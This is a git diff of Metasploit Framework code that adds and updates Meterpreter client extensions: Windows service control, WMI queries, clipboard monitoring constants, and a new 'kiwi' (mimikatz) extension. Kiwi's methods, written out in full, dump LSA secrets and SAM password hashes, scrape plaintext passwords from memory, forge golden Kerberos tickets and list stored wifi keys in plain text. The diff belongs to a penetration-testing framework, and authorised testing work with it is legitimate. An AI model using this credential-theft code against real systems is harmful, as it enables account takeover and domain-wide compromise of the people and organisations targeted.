response.each(TLV_TYPE_EXT_SERVICE_ENUM_GROUP) do |s| services << { :name => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_NAME), :display => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME), @@ -34,29 +42,59 @@ class Service :status => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_STATUS), :interactive => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE) } - } + end - return services.sort_by { |s| s[:name].upcase } + services.sort_by { |s| s[:name].upcase } end + # # Query some detailed parameters about a particular service. + # def query(service_name) request = Packet.create_request('extapi_service_query') request.add_tlv(TLV_TYPE_EXT_SERVICE_ENUM_NAME, service_name) response = client.send_request(request) - detail = { + { :starttype => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE), :display => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME), :startname => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME), :path => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_PATH), :logroup => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP), :interactive => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE), - :dacl => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_DACL) + :dacl => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_DACL), + :status => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_STATUS) } + end - return detail + # + # Control a single service + # + def control(service_name, op) + if op.is_a? String + case op.strip.downcase + when "start" + op = SERVICE_OP_START + when "pause" + op = SERVICE_OP_PAUSE + when "resume" + op = SERVICE_OP_RESUME + when "stop" + op = SERVICE_OP_STOP + when "restart" + op = SERVICE_OP_RESTART + end + end + + unless (op.is_a? Integer) && op >= SERVICE_OP_START && op <= SERVICE_OP_RESTART + raise ArgumentError, "Invalid operation: #{op}" + end + + request = Packet.create_request('extapi_service_control') + request.add_tlv(TLV_TYPE_EXT_SERVICE_CTRL_NAME, service_name) + request.add_tlv(TLV_TYPE_EXT_SERVICE_CTRL_OP, op) + client.send_request(request) end attr_accessor :client diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 5c47c4905e..55ad544dc1 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -27,19 +27,49 @@ TLV_TYPE_EXT_SERVICE_QUERY_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 24) TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 25) TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 26) +TLV_TYPE_EXT_SERVICE_QUERY_STATUS = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 27) + +TLV_TYPE_EXT_SERVICE_CTRL_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 28) +TLV_TYPE_EXT_SERVICE_CTRL_OP = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 29) TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35) -TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38) + +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) + TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43) +TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 44) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 45) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 46) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) +TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) +TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52) +TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53) + +TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55) +TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56) +TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57) +TLV_TYPE_EXT_ADSI_VALUE = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 58) +TLV_TYPE_EXT_ADSI_RESULT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 59) +TLV_TYPE_EXT_ADSI_MAXRESULTS = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 60) +TLV_TYPE_EXT_ADSI_PAGESIZE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 61) + +TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 65) +TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 66) +TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 67) +TLV_TYPE_EXT_WMI_VALUE = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 68) +TLV_TYPE_EXT_WMI_FIELDS = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69) +TLV_TYPE_EXT_WMI_VALUES = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70) +TLV_TYPE_EXT_WMI_ERROR = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 71) + end end end diff --git a/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb new file mode 100644 index 0000000000..fde12f624e --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb @@ -0,0 +1,75 @@ +# -*- coding: binary -*- + +module Rex +module Post +module Meterpreter +module Extensions +module Extapi +module Wmi + +### +# +# This meterpreter extension contains extended API functions for +# performing WMI queries. +# +### +class Wmi + + def initialize(client) + @client = client + end + + # + # Perform a generic wmi query against the target machine. + # + # @param query [String] The WMI query string. + # @param root [String] Specify root to target, otherwise defaults + # to 'root\cimv2' + # + # @return [Hash] Array of field names with associated values. + # + def query(query, root = nil) + request = Packet.create_request('extapi_wmi_query') + + request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.blank? + request.add_tlv(TLV_TYPE_EXT_WMI_QUERY, query) + + response = client.send_request(request) + + # Bomb out with the right error messa + error_msg = response.get_tlv_value(TLV_TYPE_EXT_WMI_ERROR) + raise error_msg if error_msg + + fields = [] + fields_tlv = response.get_tlv(TLV_TYPE_EXT_WMI_FIELDS) + + # If we didn't get any fields back, then we didn't get any results. + # The reason is because without results, we don't know which fields + # were requested in the first place + return nil unless fields_tlv + + fields_tlv.each(TLV_TYPE_EXT_WMI_FIELD) { |f| + fields << f.value + } + + values = [] + response.each(TLV_TYPE_EXT_WMI_VALUES) { |r| + value = [] + r.each(TLV_TYPE_EXT_WMI_VALUE) { |v| + value << v.value + } + values << value + } + + return { + :fields => fields, + :values => values + } + end + + attr_accessor :client + +end + +end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb new file mode 100644 index 0000000000..3a7eeb7d86 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb @@ -0,0 +1,361 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/kiwi/tlv' +require 'rexml/document' + +module Rex +module Post +module Meterpreter +module Extensions +module Kiwi + +### +# +# Kiwi extension - grabs credentials from windows memory. +# +# Benjamin DELPY `gentilkiwi` +# http://blog.gentilkiwi.com/mimikatz +# +# extension converted by OJ Reeves (TheColonial) +### + +class Kiwi < Extension + + # + # These are constants that identify the type of credential to dump + # from the target machine. + # + PWD_ID_SEK_ALLPASS = 0 + PWD_ID_SEK_WDIGEST = 1 + PWD_ID_SEK_MSV = 2 + PWD_ID_SEK_KERBEROS = 3 + PWD_ID_SEK_TSPKG = 4 + PWD_ID_SEK_LIVESSP = 5 + PWD_ID_SEK_SSP = 6 + PWD_ID_SEK_DPAPI = 7 + + # + # List of names which represent the flags that are part of the + # dumped kerberos tickets. The order of these is important. Each + # of them was pulled from the Mimikatz 2.0 source base. + # + KERBEROS_FLAGS = [ + "NAME CANONICALIZE", + "<unknown>", + "OK AS DELEGATE", + "<unknown>", + "HW AUTHENT", + "PRE AUTHENT", + "INITIAL", + "RENEWABLE", + "INVALID", + "POSTDATED", + "MAY POSTDATE", + "PROXY", + "PROXIABLE", + "FORWARDED", + "FORWARDABLE", + "RESERVED" + ].map(&:freeze).freeze + + # + # Typical extension initialization routine. + # + # @param client (see Extension#initialize) + def initialize(client) + super(client, 'kiwi') + + client.register_extension_aliases( + [ + { + 'name' => 'kiwi', + 'ext' => self + }, + ]) + end + + # + # Dump the LSA secrets from the target machine. + # + # @return [Hash<Symbol,Object>] + def lsa_dump + request = Packet.create_request('kiwi_lsa_dump_secrets') + + response = client.send_request(request) + + result = { + :major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ), + :minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN), + :compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME), + :syskey => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY), + :nt5key => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY), + :nt6keys => [], + :secrets => [], + :samkeys => [] + } + + response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k| + result[:nt6keys] << { + :id => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID), + :value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE) + } + end + + response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s| + result[:secrets] << { + :name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME), + :service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV), + :ntlm => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM), + :current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR), + :current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW), + :old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD), + :old_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW) + } + end + + response.each(TLV_TYPE_KIWI_LSA_SAM) do |s| + result[:samkeys] << { + :rid => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID), + :user => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER), + :ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH), + :lm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH) + } + end + + result + end + + # + # Convert a flag set to a list of string representations for the bit flags + # that are set. + # + # @param flags [Fixnum] Integer bitmask of Kerberos token flags. + # + # @return [Array<String>] Names of all set flags in +flags+. See + # {KERBEROS_FLAGS} + def to_kerberos_flag_list(flags) + flags = flags >> 16 + results = [] + + KERBEROS_FLAGS.each_with_index do |item, idx| + if (flags & (1 << idx)) != 0 + results << item + end + end + + results + end + + # + # List available kerberos tickets. + # + # @param export [Bool] Set to +true+ to export the content of each ticket + # + # @return [Array<Hash>] + # + def kerberos_ticket_list(export) + export ||= false + request = Packet.create_request('kiwi_kerberos_ticket_list') + request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export) + response = client.send_request(request) + + results = [] + + response.each(TLV_TYPE_KIWI_KERB_TKT) do |t| + results << { + :enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE), + :start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START), + :end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END), + :max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW), + :server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME), + :server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM), + :client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME), + :client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM), + :flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS), + :raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) + } + end + + results + end + + # + # Use the given ticket in the current session. + # + # @param ticket [String] Content of the Kerberos ticket to use. + # + # @return [void] + # + def kerberos_ticket_use(ticket) + request = Packet.create_request('kiwi_kerberos_ticket_use') + request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true) + client.send_request(request) + return true + end + + # + # Purge any Kerberos tickets that have been added to the current session. + # + # @return [void] + # + def kerberos_ticket_purge + request = Packet.create_request('kiwi_kerberos_ticket_purge') + client.send_request(request) + return true + end + + # + # Create a new golden kerberos ticket on the target machine and return it. + # + # @param user [String] Name of the user to create the ticket for. + # @param domain [String] Domain name. + # @param sid [String] SID of the domain. + # @param tgt [String] The kerberos ticket granting token. + # @param id [Fixnum] ID of the user to grant the token for. + # @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user + # + # @return [String] + # + def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) + request = Packet.create_request('kiwi_kerberos_golden_ticket_create') + request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user) + request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain) + request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid) + request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt) + request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id) + + group_ids.each do |g| + request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g) + end + + response = client.send_request(request) + return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) + end + + # + # List all the wifi interfaces and the profiles associated + # with them. Also show the raw text passwords for each. + # + # @return [Array<Hash>] + def wifi_list + request = Packet.create_request('kiwi_wifi_profile_list') + + response = client.send_request(request) + + results = [] + + response.each(TLV_TYPE_KIWI_WIFI_INT) do |i| + interface = { + :guid => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)), + :desc => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC), + :state => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE), + :profiles => [] + } + + i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p| + + xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML) + doc = REXML::Document.new(xml) + profile = doc.elements['WLANProfile'] + + interface[:profiles] << { + :name => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME), + :auth => profile.elements['MSM/security/authEncryption/authentication'].text, + :key_type => profile.elements['MSM/security/sharedKey/keyType'].text, + :shared_key => profile.elements['MSM/security/sharedKey/keyMaterial'].text + } + end + + results << interface + end + + return results + end + + # + # Scrape passwords from the target machine. + # + # @param pwd_id [Fixnum] ID of the type credential to scrape. + # + # @return [Array<Hash>] + def scrape_passwords(pwd_id) + request = Packet.create_request('kiwi_scrape_passwords') + request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) + response = client.send_request(request) + + results = [] + response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r| + results << { + :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME), + :domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN), + :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD), + :auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI), + :auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO), + :lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH), + :ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH) + } + end + + return results + end + + # + # Scrape all passwords from the target machine. + # + # @return (see #scrape_passwords) + def all_pass + scrape_passwords(PWD_ID_SEK_ALLPASS) + end + + # + # Scrape wdigest credentials from the target machine. + # + # @return (see #scrape_passwords) + def wdigest + scrape_passwords(PWD_ID_SEK_WDIGEST) + end + + # + # Scrape msv credentials from the target machine. + # + # @return (see #scrape_passwords) + def msv + scrape_passwords(PWD_ID_SEK_MSV) + end + + # + # Scrape LiveSSP credentials from the target machine. + # + # @return (see #scrape_passwords) + def livessp + scrape_passwords(PWD_ID_SEK_LIVESSP) + end + + # + # Scrape SSP credentials from the target machine. + # + # @return (see #scrape_passwords) + def ssp + scrape_passwords(PWD_ID_SEK_SSP) + end + + # + # Scrape TSPKG credentials from the target machine. + # + # @return (see #scrape_passwords) + def tspkg + scrape_passwords(PWD_ID_SEK_TSPKG) + end + + # + # Scrape Kerberos credentials from the target machine. + # + # @return (see #scrape_passwords) + def kerberos + scrape_passwords(PWD_ID_SEK_KERBEROS) + end + +end + +end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb b/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb new file mode 100644 index 0000000000..ff09f8a0b8 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Kiwi + +TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1) +TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 2) +TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3) +TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4) +TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5) +TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 6) +TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 7) +TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8) +TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9) + +TLV_TYPE_KIWI_GOLD_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10) +TLV_TYPE_KIWI_GOLD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11) +TLV_TYPE_KIWI_GOLD_SID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12) +TLV_TYPE_KIWI_GOLD_TGT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13) +TLV_TYPE_KIWI_GOLD_USERID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 14) +TLV_TYPE_KIWI_GOLD_GROUPID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 15) + +TLV_TYPE_KIWI_LSA_VER_MAJ = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 20) +TLV_TYPE_KIWI_LSA_VER_MIN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 21) +TLV_TYPE_KIWI_LSA_COMPNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 22) +TLV_TYPE_KIWI_LSA_SYSKEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 23) +TLV_TYPE_KIWI_LSA_KEYCOUNT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 24) +TLV_TYPE_KIWI_LSA_KEYID = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 25) +TLV_TYPE_KIWI_LSA_KEYIDX = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 26) +TLV_TYPE_KIWI_LSA_KEYVALUE = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 27) +TLV_TYPE_KIWI_LSA_NT6KEY = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 28) +TLV_TYPE_KIWI_LSA_NT5KEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 29) + +TLV_TYPE_KIWI_LSA_SECRET = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 35) +TLV_TYPE_KIWI_LSA_SECRET_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 36) +TLV_TYPE_KIWI_LSA_SECRET_SERV = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 37) +TLV_TYPE_KIWI_LSA_SECRET_NTLM = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 38) +TLV_TYPE_KIWI_LSA_SECRET_CURR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 39) +TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 40) +TLV_TYPE_KIWI_LSA_SECRET_OLD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 41) +TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 42) + +TLV_TYPE_KIWI_LSA_SAM = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 50) +TLV_TYPE_KIWI_LSA_SAM_RID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 51) +TLV_TYPE_KIWI_LSA_SAM_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 52) +TLV_TYPE_KIWI_LSA_SAM_LMHASH = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 53) +TLV_TYPE_KIWI_LSA_SAM_NTLMHASH = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 54) + +TLV_TYPE_KIWI_KERB_EXPORT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 60) +TLV_TYPE_KIWI_KERB_TKT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 61) +TLV_TYPE_KIWI_KERB_TKT_ENCTYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 62) +TLV_TYPE_KIWI_KERB_TKT_START = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 63) +TLV_TYPE_KIWI_KERB_TKT_END = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 64) +TLV_TYPE_KIWI_KERB_TKT_MAXRENEW = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 65) +TLV_TYPE_KIWI_KERB_TKT_SERVERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 66) +TLV_TYPE_KIWI_KERB_TKT_SERVERREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 67) +TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 68) +TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 69) +TLV_TYPE_KIWI_KERB_TKT_FLAGS = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 70) +TLV_TYPE_KIWI_KERB_TKT_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 71) + +TLV_TYPE_KIWI_WIFI_INT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 75) +TLV_TYPE_KIWI_WIFI_INT_GUID = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 76) +TLV_TYPE_KIWI_WIFI_INT_STATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 77) +TLV_TYPE_KIWI_WIFI_INT_DESC = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 78) +TLV_TYPE_KIWI_WIFI_PROFILE = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 79) +TLV_TYPE_KIWI_WIFI_PROFILE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 80) +TLV_TYPE_KIWI_WIFI_PROFILE_XML = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 81) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index c6baae6511..43f2328805 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -45,7 +45,7 @@ class Priv < Extension elevator_name = Rex::Text.rand_text_alpha_lower( 6 ) - elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" ) + elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix) elevator_path = ::File.expand_path( elevator_path ) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb index d006221b30..70b1ef4d7e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb @@ -49,10 +49,9 @@ class Config get_interfaces().each(&block) end - # # Returns an array of network interfaces with each element. # - # being an Interface + # @return [Array<Interface>] def get_interfaces request = Packet.create_request('stdapi_net_config_get_interfaces') ifaces = [] diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb index 7db494335b..95177c31cd 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb @@ -27,6 +27,10 @@ class Def_advapi32 def self.create_dll(dll_path = 'advapi32') dll = DLL.new(dll_path, ApiConstants.manager) + dll.add_function('QueryServiceStatus', 'DWORD', [ + ['LPVOID', 'hService', 'in'], + ['PBLOB', 'lpServiceStatus', 'out']]) + dll.add_function('CredEnumerateA', 'BOOL', [ ['PCHAR', 'Filter', 'in'], ['DWORD', 'Flags', 